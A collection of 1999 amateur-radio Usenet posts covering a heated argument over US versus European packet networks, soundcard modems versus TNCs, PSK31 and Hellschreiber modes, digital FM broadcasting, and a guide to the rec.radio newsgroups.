: of Amateur Packet Radio in the US for dubious "political" reasons connected
: with the mindless promotion of Amateur tcpip above all else, even Amateur
: Radio itself.

Do you have any references, Charles, that indicate that "Amateur TCP/IP" contributed to the demise of the "US Packet Net"?

: Hams in Europe have regs which protect them from LandLine Lids; Why don't
: we?

I'll ask the obvious... Please provide references to the above mentioned "regs" Charles...

: Hams in Europe have seen their Packet Net grow and advance while the US net
: has almost completely died away.

And... Again... Kindly characterize the "European Packet Net"... References please...

: Wake up and smell the coffee.

Im awake, and I SMELL something, but it's NOT coffee... Smells like bullcrap to me...

Best Regards,

-jw

>from you. Thanks in advance....Bill

The short answer is no. The longer answer begins, "why would you want to?"
The TNC concept is an obsolete paradigm predicated on dumb terminals. Why
would you want to reduce your Pentium PC to the status of dumb terminal and
make it a slave to a Z80?

If your laptop has built in sound card capability, as most do today, then you just
run software on the PC to use that as your modem and do the protocol in software.
Among other things, this can allow the use of DSP techniques to yield superior
modem performance. If the laptop doesn't have sound card capability, then use
one of the Baycom style dongles off the parallel port as the modem, and again
do the protocol in software. While this doesn't offer the opportunity to do software
DSP, it at least tightly couples the protocol to your system software and eliminates
the TNC to PC bottleneck. (Need I say that these solutions are cheaper than a
TNC too?)

In the early days, when dumb terminals were the defacto man/machine interface,
the TNC made sense. But today, it doesn't. With a multitasking operating system
and plenty of computer power in the host, it doesn't make sense to make all that
capability sit idle while emulating a dumb terminal slave to a TNC.

>more personal freedoms than European nations. You seem to be advocating
>less freedom and, as a Libertarian, I would have to stand in opposition.

As a libertarian, you are part of a tiny splinter group that just doesn't signify in the US political scene. The libertarians are famous as "vote suckers", who suck votes away from the conservative republican party. Other than that, they don't appear to have much influence one way or another. The democrats like them for obvious reasons, though they seldom agree on the issues.

Many prominent libertarians are obvious nut-cases. Get rid of a few of the "fruit loops" and people will begin to take you a bit more seriously. Until then, I wouldn't brag about being a libertarian. It just makes people think you are a few bricks short of a full load. The "vote sucker" situation generally makes libertarians look like fools, and sure enough that's how most Americans think of them.

Your argument of how bad off the Europeans are because hams there enjoy protective legislation is kind of hard to get enthusiastic about. Their Packet net is at least ten years ahead of anything currently existing in the US, with thousands of Hams there enjoying it every day. Meanwhile here in the US, Lids with telephones have been allowed to wreak havoc within the US Packet net at will, and have taken the heart out of most US hams interested in digital communications by Amateur Radio.

I guess that just goes to show, once again, that "knee jerk" politics will always make you look like some kind of idiot. When you say that things such

as a government's regulations are ALWAYS bad, you identify yourself as being rather childishly naive. - Or as a libertarian, as the case may be.

What's the difference?

You tried this tack once before, One Track. I pointed out to you then that most EU nations do not permit third party traffic to be passed at all. You conveniently ignored it then as you ignore it now in your persistence that somehow radio amateurs in Europe enjoy some kind of packet network heaven. It just isn't so. The overwhelming majority of European amateurs still use 1200 baud and 9600 baud modems and aren't passing much of anything for the general public. Where is this packet nirvana?

Have you actually spent any time in Europe are or are these simply guesses or wishes on your part?

Charles and Group,

Oh geez...another Lennie NoCalls with Attitude.

"JW":>>>Nope, bozo... As a *professional* (something which one would doubtless have a hard time accusing you of being) who does communication system design for a *living* (as well as a "hobby"), Charles, I have every *right* and *reason* for being here...<<<

Another "I am an engineer, therefore I can tell you how to be a Ham" type.

JW, why don't you and Lennie NoCalls get together, co-author an RM proposal for all you engineers to create an "engineers only" radio service? Then you can play with each other's slide rules without we mere mortal "wannabes" getting in your way?

I for one would GLADLY support an RM to let you guys have a slice of HF and a slice of UHF somewhere so you could out-impress each other to your hearts content. Just leave the rest of us in PEACE!

>>Sorry Big Guy... Even without the Amateur Ticket, Im more qualified to be here than you... Guaranteed...<<

The First Amendment allows you to say what you want in here, but without a license, you are just another wannabe who is gonna slander and sleight people who are trying to learn something.

Lennie NoCalls is infamous for telling us how we are deluding ourselves that we "know" anything, or that we are capable of doing anything without devine intervention from the "techhies" such as himself. And rather than get a license and share his (bonafide) knowledge and skills with others, he sits in here and whines, cajoles and snivvels about how inept we "Amateurs" are.

What bull. Please tell me you are going to exceed my expectations and (pro code or anti code) join ranks and move Amateur Radio forward rather than try to sit on the sidelines and just throw mud?!

I just put him on the SPAM list and let it go at that. Every time I try to speak up for Hams using Radio, the trolls and flame-baiters come out of the woodwork. It's amazing how violent a reaction I get when I suggest that Hams should use Radio.

838. HELP: TAC-310sx 70cm 9K6 mods and EPROM

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-02-13 00:00:00 UTC
From: John F Feist <aa6qn@REMOVE.juno.com>
Message-ID: <36C5B765.EDC839C0@REMOVE.juno.com>
Source record: 19740

I have a working TAC-310sx that I am using for 1200 baud packet and just bought 3 more. The radio has true FM and was hoping for some help with getting it converted to 9600 baud. Two of the newer radios are MMAL3A (440, 30 watt) rigs and one is a MMAG4A (2M ?, 40watt).

In addition to the 9K6 mod, I would like to burn my own EPROMs. I have tried to read the AMD 2732A eproms with an JDR Microdevices MOD-MEP eprom burner and CSA-03 adapter card using a 33Mhx machine (droped down to 14Mhz) with no luck. I even built up and old 286 8/12Mhz box to slow down the clock with no luck.

Along with the radio's I now also bought a box full of new TAC radio heads that I am willing to trade off. These are the ones with all the front panel controls.

I guess in last resort I could write Kyodo and have them burn new eproms for me for buy the PC interface modules, but was looking for other cost effective answers first.

If you have any information regarding these rigs as to modifications I would be interested in hearing from you. Please respond either via Packet: AA6QN@AA6QN.#SCA.CA.USA.NOAM

or via Email (Please remove the "REMOVE" from the address line): AA6QN@REMOVE.JUNO.COM

Thank You and 73 in advance,

John

839. Hellschreiber for the soundcard

Newsgroup: rec.radio.amateur.digital.misc

Source record: 19646

Hi All,

Haven't seen any mention of the following news on this group yet so I thought it would be of interest, it was copied from the PSK31 mailing list yesterday. I can vouch that the program works well, have had three Hellschreiber QSOs on Twenty this weekend, all good copy. Uses the same wiring as the PSK31 to/from the soundcard, only thing I couldn't get to work is the PTT. Be nice to have a QSO "across the pond" on this mode!

Regards,

Roger Basford, G3VKM

840. FS: WA4DSY 56k modem and PackeTwin card, $420

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-02-14 00:00:00 UTC
From: qwasty@hotmail.com
Message-ID: <7a71k3mok1@nnrp1.dejanews.com>
Source record: 19647

I bought a WA4DSY 56k modem and PackeTwin card last summer and I have never used them. The PackeTwin card has never been installed into a PC and the WA4DSY 56Kbps modem has never been powered up. They are both brand-spankin' new, from Paccomm. You can see photos and info about them at http://www.paccomm.com the PackeTwin card is capable of doing 2Mbps if you can find or build a modem that is that fast. It's great for hi speed microwave data or digital video and such. I have all the original packaging, manuals, shipping containers etc. I haven't checked on this to be sure, but you may have to get a different protocol IC from Paccomm for their PackeTwin card in order to interface it with the WA4DSY modem. You also will need transverters for the modem to your preferred operating frequency.

Not including shipping, I paid $350 for the modem and $250 for the PackeTwin for a total of $600. The reason I am selling these units is because I am a college student and I don't have the time it takes to get these things running. On top of that, there's almost nobody in Utah (that I know of) with similar equipment. So, what good is it if there's nobody to link to?

I'd like to sell them together if possible. They are worth $600 together, I will sell them for $420. I'll ship them when your check/money order clears my bank. If you have questions, send me an email or something. My nick is badon on EFnet (IRC) if you want to chat.

841. FM digital bandwidth

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-02-14 00:00:00 UTC
From: "Eric V. Hilberg" <ericvh@geocities.com>
Message-ID: <7a72ir$47o$1@camel15.mindspring.com>
Source record: 19648

I've been wondering for a while...if one wanted to broadcast digital information from an FM radio station, how much bandwidth would you have? Also, is it possible to broadcast analog AND digital at the same time? Finally, would the reception radius be alot smaller than analog, or could you have a software cooker fix missed packets in the sound to patch over crackling? Could anyone who might have any answers to this message mail me back privately, as I do not frequently check all my newsgroups? Thanks a million!

Sincerely,
Eric Hilberg

Source record: 19650

Eric,

Two answers to your question (s):

If you're talking about low-bandwidth ancillary data, it's being done using SCA (subcarriers). Stuff like differential GPS correction factors, paging, and RDS (station ID and other information that's displayed on some receivers). Bandwidth is around 1Kbps.

If you're talking about actually broadcasting in digital, it's in the field trial / standards stage, both for AM and FM in the U.S. (Europe has its own "horse race" going on). The objective is for stereo FM-equivalent sound for AM and near-CD-quality for FM. There are three competing technologies, from Lucent Digital Radio (www.lucent.com/ldr), USA Digital Radio (www.usadr.com), and Digital Radio Express. USADR is working with Xetron for AM and Westinghouse for FM. We're probably a year away from a standard being chosen. All are "In-Band On-Channel" technologies that permit both analog and digital to be transmitted at the same time in the existing channel (unlike HDTV, there won't be new channels assigned for digital radio). Obviously, the goal is to equal or exceed analog range. Some fall back to analog if error rates get too high, others to slower (lower bandwidth) digital signal.

The assumption is that they won't discontinue analog for 10 -15 years. Lucent uses a proprietary encoder (PAC), while the others use MPEG2 ACC. Basically, they all use the spectrum outside the bandwidth of the current analog signal, at lower power to stay within the FCC emission mask Another good place to look if you're interested is a couple of newsletter-type sites: www.transmitter.com and www.beradio.com.

It'll be interesting tosee how this plays out -- and then you have to factor the satellite radio guys into the equation, also. Both CD Radio and XM Radio plan to come on line next yer.

Well, Charles, I just came from three years in Europe from mid-'95
through mid-'98. I also spent two years in Europe from late '85 to late
'87. I can tell you first hand that, with few exceptions, packet radio
in the '90s isn't much different than packet in the '80s except that
there is more of it. Now you can say you've heard from someone who
actually lived there. I saw it. I did it.

You still have not addressed the fact that most amateurs in EU may not handle third party messages so the total volume of traffic consists of traffic from hams to other hams. That, to you, is near packet heaven compared to the U.S.? How do the myriad governmental restrictions on what may be handled add up to something more than U.S. hams enjoy?

You must be opposed to autopatches connected to VHF/UHF voice repeaters too since they allow us to "route around" other hams. We should also shun mailed traffic and telephone delivered traffic since it might "route around" another ham.

It's amazing how your description of the Packet net in Europe differs from what I hear from Hams who actually live there. Due in part to my involvement with FlexNet, I have swapped E-mail with a good number of Hams from Europe. They tell a different story than you do... Who should I believe, I wonder?

That was a rhetorical question... Really I have no doubt whatsoever as to who to believe.

>You still have not addressed the fact that most amateurs in EU may not
>handle third party messages so the total volume of traffic consists of

Well, what they have there actually DOES add up to something more than US hams enjoy.

Maybe you think that 16 port nodes that handle 10 MB/hr of traffic are identical to what US hams are accustomed to, but for my part, I'll just stick with reality. You can play around in fantasy-land as long as you like.

If you spent all of that time in Europe without getting a clue as to what was going on there, well, I can hardly say I'm surprised. You appear to be a lot quicker to express opinions than you are to back them up with knowlege.

What is stopping U.S. hams from doing the same? Why is that speed
necessary? What important U.S. packet traffic is being
delayed--recipes? jokes? items for sale?

> If you spent all of that time in Europe without getting a clue as to what
> was going on there, well, I can hardly say I'm surprised. You appear to be a

You wouldn't be in a position to know much about me. Every time I've
seen someone with real knowledge ask you for specifics, you call him a
"landline lid" and go back to mindless raving. You never explain or
debate specifics. What is it about European packet networks which makes
them better than U.S. packet networks? What could we do to improve U.S.
packet networks? How could we polish your interpersonal skills?

No, Charles. Tell me how mailing traffic and routing around packet
networks is different. I know you're a one issue, one mode kind of guy
but the two really are the same. Why not let us know what your
credentials are while you're at it. Tell us why we should listen to or
believe you.

Nino's software is very good - but you need to work some DX!

If you guys want Hellschreiber contacts with REAL DX, look on 14063.5 kHz LSB at around 0800 - 0900z every day, but particularly weekends.

I run an EVM, so I use G3PLX's Feld-Hell and concurrent tone MT-Hell. I can also run sequential tone MT-Hell using my MOSAIC II if you wish.

There are several other active hams down here with Feld-Hell - for example VK2DSG, so keep a look out for us. If you can't find me on Hell, check for me on PSK31.

BTW, if you want to try MT-Hell, and have Win95 and a sound card, check out MTHKBD2 for transmit (from my web site) and GRAM for receive. Much better than Feld-Hell when band conditions are bad.

I run the "Fuzzy Modes" web site - well worth a check-out!

According to the ARRL, they are legal, because the FCC said ANY digital
mode that is published, that uses ASCII or Baudot, or AMTOR is legal.

97.309 (a) (4) is the rule, and the ARRL Dave Sumner in a letter:

http://bipt106.bi.ehu.es/psk31/msg00051.html

Has stated that the author of PSK31 is submitting documentation to
the FCC on Pactor II and PSK 31 to "remove any doubt."

Hi...

How can he send the documentation of PACTOR II because most of the protocol
is undocumented and its a proprietary mode introduced by SCS (Germany)?

855. Re: FM digital bandwidth

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-02-15 00:00:00 UTC
From: Don Mills <dcmills@ieee.org>
Message-ID: <36C85849.4D06DBCF@ieee.org>
Source record: 19657
Cross-posted to: rec.radio.amateur.digital.misc,alt.ham-radio.digital-voice

Eric,

RDS is modulated onto an SCA subcarrier which is then simply added to the main program modulating signal, the same way they do [low-fidelity] analog SCA (elevator music, reading for the blind, etc.). Stations generate considerable $$ from leasing their subcarriers, so digital conversion has to leave this untouched.

For digital FM broadcasting, the requirement for near-CD quality is around 96 kbps; they're shooting for 64 kbps. Maybe MPEG4. For AM, the number is around 20-40 kbps depending on the desired fidelity.

For digital program broadcasting, they move out beyond the current occupied bandwidth and add a large number of PSK or QAM modulated carriers. In the case of FM, it looks like the occupied bandwidth is about +/- 200 KHz. The analog signal should capture the analog receiver, minimizing interference from the digital carriers. The transmitted digital signal level is considerably lower in amplitede than the analog carrier, and falls within the FCC "emission mask" for the "200 kHz" channel. You'll see that referred to in the white papers (there are some interesting ones on the USADR site for both AM and FM). I haven't found any meaningful public technical info on either Lucent's or Digital Radio Express's implementation.

In the case of AM, they try to make the overall amplitude variation of the digital signals as low as possible so the usual envelope detector sees only an additional DC component.

Hope this helps.

John,

Check out HAL's Clover2000 (www.halcomm.com). Runs about 2kbps and occupies 2khz bandwidth. It's not legal in the ham HF bands (too wide), but is sold as a commercial product. I believe that Motorola uses it in some HF systems. For ham-legal protocols, Clover II and Pactor-2 are the fastest I'm aware of. All of these are proprietary, and require specific hardware. The Clover2000 hardware is available as either a stand-alone "modem" or a PC card.

2kbps is high enough (barely) for digital phone. Would it be legal
in the phone bands?

Over the next week or so I am conducting some tests using PSK31 on 2m.
Location JO03
FX: 144.600 USB +- QRM
Between 18.30 and 19.00 UTC I am beaming to Norfolk and the continent.
Also trying various headings between 19.00 and 19.30 UTC
I will CQ every 5 minutes with a 1 minute long call to give time for
tuning.

Any near European stations using PSK31 on 2m?
Skeds arranged somewhere around these times most welcome.

Other countries to those listed are most welcome - just condx seem very
flat at the moment!

Your wish for a RTTY decoder via the SoundBlaster has been heard.
This is an email I sent nearly one year ago to another ham.
--sd

Date: Thu, 19 Feb 1998 08:11:28 -0600
From: Scott Dickson
Subject: RTTY w/ PC and SoundBlaster

The Internet continues to amaze me! I have found
another really neat computer program that uses a
PC's SoundBlaster card to encode/decode RTTY.

The program is called Blaster TeLetype -
BTL Version 1.51 by Rob Glassey
And, this version is completely free! However, a
donation to the author will encourage further
development in the future. Let your conscience be
your guide!

The interface cables can be assembled in less than
an hour, and for less than $7.00 with parts available
at RadioShack. Instructions for the cables are in
the on-line help of the program on page 7 & 8.

"This program is being released as free software for
non-commercial and non-government purposes in the spirit
of Ham Radio to encourage people to take the plunge into
the fascinating world of digital radio with no need to
buy expensive data modems. And with no compromise in
performance either. In my tests BTL easily matches, and

even exceeds the performance of my expensive analogue modem."

I had not seriously considered the digital modes simply
because of the cost of the equipment to 'buy, then try'.
Now, BTL has made RTTY a reachable mode for my budget.

BTL has a home page on the Internet at the address:
http://www.geocities.com/SiliconValley/Heights/4477/

We have a KPC-3 as a Node. It works fine when you connect to it and read the mail and issue the various commands to it locally like JL and N and such. However anytime you make a connection to another site from it the link is spuratic and unreliable. Using the keyboard and monitor directly attached to the KPC-3, it works just fine. You just can't seem to connect "thru" it. Any ideas ?

There's a new version of Harris RF-5710 that's capable of 9600 bps
(user baud rate) in a standard 3 kHz channel. That's an errorcorrected
speed so the actual speed on air is a bit higher.
I've used the normal RF-5710 for years and it's really good even at
2400 bps during really bad conditions.
The only, tiny, drawback is the price..... approx 5000$.

The most appropriate vocoder standard I'm aware of is IMBE / AMBE. You can check it out at http://www.dvsinc.com

It's used in the land mobile bands (public safety, etc.). There are several demos on this site (male and female voice, several diffrent rates), and the difference in speech quality as the bit rate is reduced is less than you might imagine. It does have a definite "robotic" sound to it, though. Being an ARQ mode, Clover probably isn't the right vehicle to deliver this payload, but could be used for testing. I suppose an STA from the FCC would be required in the HF bands.

I'm having a hard time thinking of a real advantage of digital voice for ham HF, other than the challenge itself. [VHF FM is a very different story.] One characteristic higher speed digital modes have in common is a need for high S/N (Shannon's Theorem strikes again). It also would occupy ALL of its 2 kHz bandwidth ALL the time. But then, I'm more challenged by weak-signal work myself (hence my interest in PSK31).

I've hooked up TNC's, and I hooked up soundcards. Not much difference there.
Any way you look at it, you're going to solder a few connections. No big
deal.

>
>I think TNC's and multi-mode controllers will be around for a bit longer.

Probably... Still, I can buy a used 386 system, monitor and all for 50 bucks
here in Dallas. Throw in another 50 bucks for a BayCom type 1.2kb packet
modem and I have something significantly more functional than just a TNC,
all for the same 100 bucks or so. A "stand alone" unit for packet.

If the 386 system has a 16-bit soundcard, no need to buy the Tigertronics
modem. Yes, a 386 will "DSP" a single soundcard just fine for 1.2kb packet.

>
>One man's opinion (who works for a company that builds TNC's).

I don't work for a company making TNC's, but still I look at it the same way. There are plenty of applications for TNC's, and will be for some time to come. Still, I'd be aware that a large part of the TNC market will go over to modem and soundcard systems, and that the trend will accelerate because good used PC's just get cheaper and cheaper.

My Dad, for example, had trouble getting his old copy of PCPakRatt2 to run in his Win98 machine, and we finally came to the conclusion that it would be easier and cheaper to buy an old 486 running DOS for dedicated packet use than it would be to keep tinkering with the Win98 system, just so we could tie it up with packet. My Dad has become accustomed to PC PakRatt2, and didn't want to upgrade to a newer version, ect.
In the end, it made better sense to buy an dedicated packet PC than it did to put his Pentium2 in the shop. It cost less, too.

Wow!! I've been reading and reading about linux, and haven't done anything
with it yet. But I'm putting together a couple of 486's and want to network
them with Linux, and then I'm thinking running packet with them. I'd sure like
to swap notes with you. I've been on packet since 86, and I need to do some
"new stuff"!!

By the way, my name is Jim, and I'm out on Cape Cod mA. call is ka1eui.

Drop me a note if you get a chance, and maybe we can start a 9600b linux packet
network! Did you get the new CW VhF magazine this month? I have only glanced
through it, but it talks about packet web pages...not on the internet but on
packet.....slow but fun.....of course they were talking 1200b, i know that 9600
is not screaming with graphics.....but simple graphics.....and linux,
......hmmmm
Could be fun!

Drop me a line!
JIM

I am looking for a service/tech. manual for these 2m 9k6 radios. I would like to order some rocks and need the formulas. Since these radios have such a lousy rcvr I also need any information regarding signal improvement (I think that I remember something about a 5/8 stub??) Anyway, would love to make use of the one I have and need information on the circuit and alignment.

I have a few of these rigs that I would love to get on 9600 baud packet. They are true FM 70cm traceivers. Does anyone out there have experience with these rigs?

I also would like to read and burn 2732a eproms for these radios. For some reason or another I can not get my JDR Microdevices MOD-MEP eprom burner to read them. Once again, does anyone have experience that they can share?

In my experience, most engineers are really decent guys. Then there are the ones who don't quite make the grade, and who never really developed socially - You know the type. Like we get here on the Ham Radio newsgroups, SPAMMING Hams trying to discuss their hobby.

In general, the more of a pathetic wretch they are socially, the more they will try to impress non-engineers with how "knowledgeable" they are. Happy, well adjusted people are almost impossible for these geeks to tolerate, so they always try to make as many people unhappy as possible.

Happily, while these wannabe's have been working hard at impressing everyone with how ignorant they are, more competent folks have been hard at work and have given us SPAM filters.

Identify them, put 'em in the filter; Presto-Chango! No more incompetent engineer Ham wannabes!

It's the new millenium way to "take out the trash".

Hi
Steve

Sorry Steve, this was only a remark about another subject: using undocumented
and proprietary modes on HF.

PSK31 is fully documented and takes only a few hours to implement it into a
DSP enviroment.

Information on the operating characteristics is published in the ARRL Handbook and in "Technical Descriptions: CLOVER, G-TOR, PACTOR, PACTOR II." The latter has been published by ARRL to meet the requirement in Part 97. At 32 pages and $10 it is a bit pricey, but that just about represents the cost -- the initial printing was 100 copies.

I just heard about PSK31 this weekend on the air and found it in the web today and was looking through this news group to learn more. But this just does not make sense to me. Why does a NEW mode such as PSK31 want an established system like Pactor to change their operating habits?

There is a lot of spectrum with nothing established on it in the bands. Everyone is talking about the decline of ham radio and especially CW, I would think such a norrow bandwidth system such as PSK31 would not want to be any where near other digital signals. It's not really RTTY, why the push to be in with all of these signals?

Don't take me wrong, I don't have any HF digital systems running yet and don't want to make anyone upset before I get on the air with them. I am just asking...

I saw the whole APRS system move because of bad early planning, is there any thing to learn from that?

Hope to be up on PSK31 soon, but so far my luck with interfacing computers with radios has not been good.

889. Guide to the rec.radio Newsgroups

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-02-16 00:00:00 UTC
From: jeffreyh@Hawaii.Edu
Message-ID: <7actfi$r61@news.Hawaii.Edu>
Source record: 19690
Cross-posted to: rec.radio.amateur.dx,rec.radio.amateur.digital.misc

Archive-name: radio/personal-intro

This message describes the rec.radio.amateur.*, rec.radio.cb, rec.radio.info, and rec.radio.swap newsgroups, as well as their Internet mailing list counterparts and complements. It is intended to serve as a guide for the new reader on what to find where. Questions and comments may be directed to Jeffrey Herman, WH6U, (jeffreyh@hawaii.edu), or Paul Schleck, K3FU, pschleck@novia.net.

This message was last changed on 14 March, 1998.

History
=======

Way back when, before there was a Usenet, the Internet hosted a mailing list for hams, called (appropriately enough) INFO-HAMS. Ham radio discussions were held on the mailing list, and sent to the mailboxes of those who had signed up for it. When the Usenet software was created, and net news as we now know it was developed, a newsgroup was created for hams: net.ham-radio. The mailing list and the newsgroup were gatewayed together, eventually.

Over the years, as the net grew, the volume of discussion became progressively higher. First one by one, and then as part of two reorganizations, what was once one group became many. In the process, developments elsewhere on the net were reflected in the groups as they were created, most notably the change to place all of the ham radio groups in one hierarchy.

The collection of newsgroups continues to grow as more people join the net, and as more topics of discussion gain volume, I expect to see more groups be created as well. This follows what is happening on the rest of the net.

Nearly all of the radio newsgroups have corresponding mailing lists, the notable exception being rec.radio.swap. There are also a few mailing lists that don't have newsgroups.

The Current Groups
==================

It's important to post messages to the group that's appropriate for them, and not to the groups that aren't. The whole idea of having different newsgroups is so that folks who aren't interested in, say, homebrewing, don't have to wade through messages about homebrewing on the way to read about Field Day. Posting appropriately is just good etiquette.

The rec.radio.amateur.misc group is the catchall. It is what rec.ham-radio was renamed to during the first major reorganization. Any message that's not more appropriate in one of the other groups belongs here, from contesting to DX to ragchewing on VHF to information on becoming a ham.

The group rec.radio.amateur.digital.misc is for discussions related to (surprise!) digital amateur radio. This doesn't have to be the common two-meter AX.25 variety of packet radio, either; some of the most knowledgeable folks in radio digital communications can be found here, and anything in the general area is welcome. The name was changed to emphasize this, and to encourage discussion not only of other text-based digital modes, such as AMTOR, RTTY, and Clover, but things like digital voice and video as well. The former group, rec.radio.amateur.packet, was removed on September 21st, 1993. It is obsolete, and you should use .digital.misc instead (or the appropriate new mailing list, mentioned below). The group has .misc as part of the name to allow further specialization if the users wish it, such as .digital.tcp-ip.

The swap group is rec.radio.swap. This recognizes a fact that became evident shortly after the original group was formed: Hams don't just swap ham radio gear, and other folks besides hams swap ham equipment. If you have radio equipment, or test gear, or computer stuff that hams would be interested in, here's the place. Equipment wanted postings belong here too. Discussions about the equipment generally don't; if you wish to discuss a particular posting with the buyer, email is a much better way to do it, and the other groups, especially .equipment and .homebrew, are the place for public discussions. There is now a regular posting with information on how to go about buying and selling items in rec.radio.swap; please refer to it before you post there. To answer a frequently asked question: No, there is no mailing list that goes along with this group. If you can't read Usenet news directly, you're out of luck.

The group rec.radio.amateur.policy was created as a place for all the discussions that seem to drag on interminably about the many rules, regulations, legalities, and policies that surround amateur radio, both existing and proposed. Recent changes to the Amateur Radio Rules (FCC Part 97) have finally laid to rest the Great Usenet Pizza Autopatch Debate - it's now legal to order a pizza on the autopatch, if you're not in the pizza business - as well as complaints about now-preempted local scanner laws hostile to amateurs, but plenty of discussion about what a bunch of rotten no-goodniks the local frequency coordinating body is, as well as the neverending no-code debate, may still be found here.

The group rec.radio.cb is the place for all discussion about the Citizens' Band radio service. Such discussions have been very inflammatory in rec.ham-radio in the past; please do not cross-post to both rec.radio.cb and rec.radio.amateur.* unless the topic is genuinely of interest to both hams and CBers - and very few topics are.

The rec.radio.info group is just what its name implies: it's the place where informational messages from across rec.radio.* may be found, regardless of where else they're posted. As of this writing, information posted to the group includes Cary Oler's daily solar progagation bulletins, ARRL

bulletins, the Frequently Asked Questions files for the various groups, and radio modification instructions. This group is moderated, so you cannot post to it directly; if you try, even if your message is crossposted to one of the other groups, your message will be mailed to the moderator, who is currently David Dodell, WB7TPY. The email address for submissions to the group is rec.radio.info-moderator@primenet.com. Inquires and other adminis-trivia should be directed to rec.radio.info-request@primenet.com. For more information about rec.radio.info, consult the introduction and posting guidelines that are regularly posted to that newsgroup.

The groups r.r.amateur.antenna, .boatanchors, .dx, .equipment, .homebrew, and .space are for more specialized areas of ham radio: discussions about antennas, the older tube based amateur, military, and commercial gear, commercially-made equipment, homebrewing, and amateur radio space operations. The .equipment group is not the place for buying or selling equipment; that's what rec.radio.swap is for. Similarly, the .space group is specifically about amateur radio in space, such as the OSCAR program and SAREX, the Shuttle Amateur Radio EXperiment; other groups cover other aspects of satellites and space. Homebrewing isn't about making your own alcoholic beverages at home (that's rec.crafts.brewing), but rather construction of radio and electronic equipment by the amateur experimenter. The .dx group is devoted to long distance amateur communications. Each of these subgroups has its own charter and FAQ; please refer to the archives to find these documents.

Except for rec.radio.swap and rec.radio.cb, all of these newsgroups are available by Internet electronic mail in digest format; send a mail message containing "help" on a line by itself to listserv@ucsd.edu for instructions on how to use the mail server.

All of the groups can be posted to by electronic mail, though, by using a gateway at the University of Texas at Austin. To post a message this way, change the name of the group you wish to post to by replacing all of the '.'s with '-'s - for example, rec.radio.swap becomes rec-radio-swap - and send to that name@cs.utexas.edu (rec-radio-swap@cs.utexas.edu, for example). You may crosspost by including multiple addresses as Cc: entries (but see below). This gateway's continued availability is at the pleasure of the admins at UT-Austin, and is subject to going away at any time - and especially if forgeries and other net.abuses become a problem. You have been warned.

Mailing Lists

In addition to the mailing lists that mirror the Usenet newsgroups, there also are a few that stand alone. These cover specific areas of ham radio, and discussion is focused on just those areas.

The cq-contest mailing list is for discussions of contesting in ham radio. To join, send email with the word "subscribe" on a line by itself to cq-contest-request@tgv.com.

The DX mailing list covers the finer points of DXing. This one is also joined by mailing "subscribe" on a line by itself, this time to

dx-request@unbc.edu.

There's also a VHF mailing list, for VHF operators of the weak signal persuasion. You can join this one be sending "subscribe vhf" on a line by itself to vhf-request@w6yx.stanford.edu.

The QRP-L list is devoted to building and operating gear at low-power outputs. To subscribe, send an email to listproc@lehigh.edu and only write: subscribe qrp-l Your Name.

The TopBand e-list is devoted to all areas of operation on 160m. To subscribe, send an email to majordomo@contesting.com and only write: subscribe topband and follow the instructions you'll be sent.
This site, contesting.com, also hosts a couple dozen other ham-related e-lists. Use the above address, and only write: lists to get the entire index.

The Boatanchors e-list is devoted to the older tube-based ham, military, and commercial communications gear. To subscribe, send an email to: listserv@listserv.tempe.gov and only write: subscribe boatanchors

For homebuilding transmitters and receivers using tube technology, there is the Glowbugs e-list; send an email to: majordomo@piobaire.mines.uidaho.edu and only write: subscribe glowbugs <your@address.here>

The VHF DX discussion list can be accessed by sending an email to: majordomo@blacksheep.org and only writing: subscribe VHF-DX-discuss.

We now have a list devoted to amateur radio history. To subscribe, send an email to: ham-radio-history-subscribe@egroups.com - leave the body of the message blank.

Qth.net hosts over 100 ham-related e-lists, including lists devoted to each state, manufacturer, mode, band - too many to state here. Send an email to majordomo@qth.net and only write: lists to get the complete index.

For one of the most complete indexes of email lists, see the excellent web site http://pw2.netcom.com/~ac6v/pageae.html

Please do NOT send subscription requests to the mailing lists themselves; that doesn't work very often, and is very annoying to those on the list. Also, please keep your electronic mail address current with any mailing lists you subscribe to, as dealing with returned email is a nuisance for the person maintaining the mailing list.

A Few Words on Crossposting
==========

Please do not crosspost messages to two or more groups unless there is genuine interest in both groups in the topic being discussed, and when you do, please include a header line of the form "Followup-To: group.name" in your article's headers (before the first blank line). This will cause followups to your

article to go to the group listed in the Followup-To: line. If you wish to have replies to go to you by email, rather than be posted, use the word "poster" instead of the name of a group. Such a line appears in the headers of this article.

One of the few examples of productive cross-posting is with the rec.radio.info newsgroup. To provide a filtered presentation of information articles, while still maintaining visibility in their home newsgroups, the moderator strongly encourages cross-posting. All information articles should be submitted to the rec.radio.info moderator so that he may simultaneously cross-post your information to the appropriate newsgroups. Most newsreaders will only present the article once, and network bandwidth is conserved since only one article is propagated. If you make regular informational postings, and have made arrangements with the moderator to post directly to the group, please cross-post as appropriate.

TNCs are 25 year old "technology". 25 years ago a PC couldn't do
the necessary DSP job. Today it can. TNCs are obsolete. Have fun.

Source record: 19694

You did not state weather or not this "node" was a KA-node, Kantronics K-NET
or if it was being used
with a program such as MSYS. Be sure to check all parameters, and if needed
make sure it is in kiss
mode. Kantronics TNC's can be finicky especially if there is even the
slightest bit of noise on the recieved
signal. It will not allow the DCD circut to work correctly, and basically
wont "hear" much. If all else fails,
try a hard reset with the jumpers. I have 6 in use on my MSYS bbs and
occaisonally have to reset them,
to get them back in line. If you are using the hostmaster program try
setting the DCD circut to "software".
This has helped me in the past.
Good luck. 73 de Doug N3NKA

Date: 1999-02-16 00:00:00 UTC
From: lior <lior@hostpro.net>
Message-ID: <%Wqy2.133$o_1.1786@news6.ispnews.com>
Source record: 19695

Hi,

I was wondering if anyone has done what I'm trying to do.
I am using AM-TR4-4xx transmitters to send serial data and using AM-HRR6-4xx reciever (abacom-tech.com). I tried to send direct serial data without any interface but am running into big interference problems. I know I need to do something like FSK to make the tranmission more reliable... Does anyone know or have successfully implemented a PIC interface to do this?

Any help would be greatly appreciated and thank you in advance.

>the necessary DSP job. Today it can. TNCs are obsolete. Have fun.

Hello:

Not sure I agree with your conclusion, A good program like Brian B's does a great job on the air. But there are other problems that a good TNC will solve. The connectability of the soundcard to the transmitter for example, I had one kit with the following instructions:

"For transmitting, hold the mic near the PC speaker".

I leave the DX cluster on 24 hours a day, that seems a waste of a 300Mhz PC and soundcard. I also supply a node for Weather Service in an isolated hilltop site. I'm not sure I'd want to leave my PC there either.

